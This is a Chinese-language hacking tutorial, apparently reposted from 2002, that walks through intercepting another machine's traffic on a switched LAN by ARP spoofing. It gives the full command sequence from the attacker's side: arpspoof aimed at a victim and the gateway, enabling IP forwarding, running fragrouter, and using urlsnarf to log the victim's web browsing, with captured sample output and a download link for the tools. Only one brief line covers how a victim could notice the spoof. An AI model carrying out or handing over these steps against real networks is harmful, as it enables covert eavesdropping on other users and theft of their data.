利用ARP欺骗实现Sniffer目的

/ns/hk/hacker/data/20020806015344.htm

转自:蓝盾在线
  

  通常在局域网环境中,我们都是通过交换环境的网关上网的,在交换环境中使用NetXray或者NAI Sniffer一类的嗅探工具除了抓到自己的包以外,是不能看到其他主机的网络通信的。

但是我们可以通过利用ARP欺骗可以实现Sniffer的目的。

ARP协议是将IP解析为MAC地址的协议,局域网中的通信都是基于MAC的。

例如下面这样的情况:

在局域网中192.168.0.24和192.168.0.29都是通过网关192.168.0.1上网的,假定攻击者的系统为192.168.0.24,他希望听到192.168.0.29的通信,那么我们就可以利用ARP欺骗实现。

1、 首先告诉192.168.0.29,网关192.168.0.1的MAC地址是192.168.0.24

2、 告诉192.168.0.1,192.168.0.29的MAC地址是192.168.0.24。

这样192.168.0.29和192.168.0.1之间的数据包,就会发给192.168.0.24,也就是攻击者的机器,这样就可以听到会话了。但是这么做的有一个问题,192.168.0.29发现自己不能上网了,因为原来发给192.168.0.1的数据包都被192.168.0.24接收了,而并没有发给网关192.168.0.1。

这时候192.168.0.24设置一个包转发的东西就可以解决这个问题了,也就是从192.168.0.29收到的包转发给192.168.0.1,在把从192.168.0.1收到的包发给192.168.0.29。这样192.168.0.29根本就不会意识到自己被监听了。

具体实现:

1、 欺骗192.168.0.29,告诉这台机器网关192.168.0.1的MAC地址是自己(192.168.0.24)。

[root@Linux dsniff-2.3]# ./arpspoof -i eth0 -t 192.168.0.29 192.168.0.1

0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71

0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71

0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71

0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71

0:0:21:0:0:18 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:0:21:0:0:18

………………………………..

这时候对192.168.0.29的ARP欺骗就开始了。

2、 欺骗192.168.0.1,告诉网关192.168.0.29的MAC地址是自己(192.168.0.24)。

[root@Linux dsniff-2.3]# ./arpspoof -i eth0 -t 192.168.0.1 192.168.0.29

0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7:71

0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7:71

0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7:71

0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b:4e

0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b:4e

0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b:4e

其实在这个时候192.168.0.29是可以发现的自己被欺骗了。在CMD下面使用ARP �Ca命令:

C:\WINNT>arp -a

Interface: 192.168.0.29 on Interface 0x1000003

Internet Address Physical Address Type

192.168.0.1 00-50-56-40-07-71 dynamic

192.168.0.24 00-50-56-40-07-71 dynamic

两个IP地址的MAC地址居然是一模一样的!不过很少有人会这么做:-)。

3、 设置一个包转发

[root@Linux fragrouter-1.6]# ./fragrouter -B1

fragrouter: base-1: normal IP forwarding

在这之前别忘了首先需要打开包转发的功能

[root@Linux /proc]# echo 1 >/proc/sys/net/ipv4/ip_forward

万事具备,可以开始SNIFFER了。

例如想看看192.168.0.29在浏览什么地方:

[root@Linux dsniff-2.3]# ./urlsnarf

urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]

Kitty[18/May/2002:20:02:25+1100]"GET http://pub72.ezboard.com/flasile15596frm1.showAddReplyScreenFromWeb?topicID=29.topic&index=7 HTTP/1.1" - - "http://www.google.com/search?hl=zh-CN&ie=UTF8&oe=UTF8&q=fdfds&btnG=Google%E6%90%9C%E7%B4%A2&lr=" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

Kitty - - [18/May/2002:20:02:28 +1100] "GET http://www.ezboard.com/ztyles/default.css HTTP/1.1" - - "http://pub72.ezboard.com/flasile15596frm1.showAddReplyScreenFromWeb?topicID=29.topic&index=7" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

Kitty - - [18/May/2002:20:02:29 +1100] "GET http://www1.ezboard.com/spch.js?customerid=1147458082 HTTP/1.1" - - "http://pub72.ezboard.com/flasile15596frm1.showAddReplyScreenFromWeb?topicID=29.topic&index=7" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

当然也可以知道其他………:-)

整个过程需要在Linux下面实现,所用到的所有工具可以在http://www.piaoye.net/downsniffer/arpsniffer.zip下载(2.98 MB)。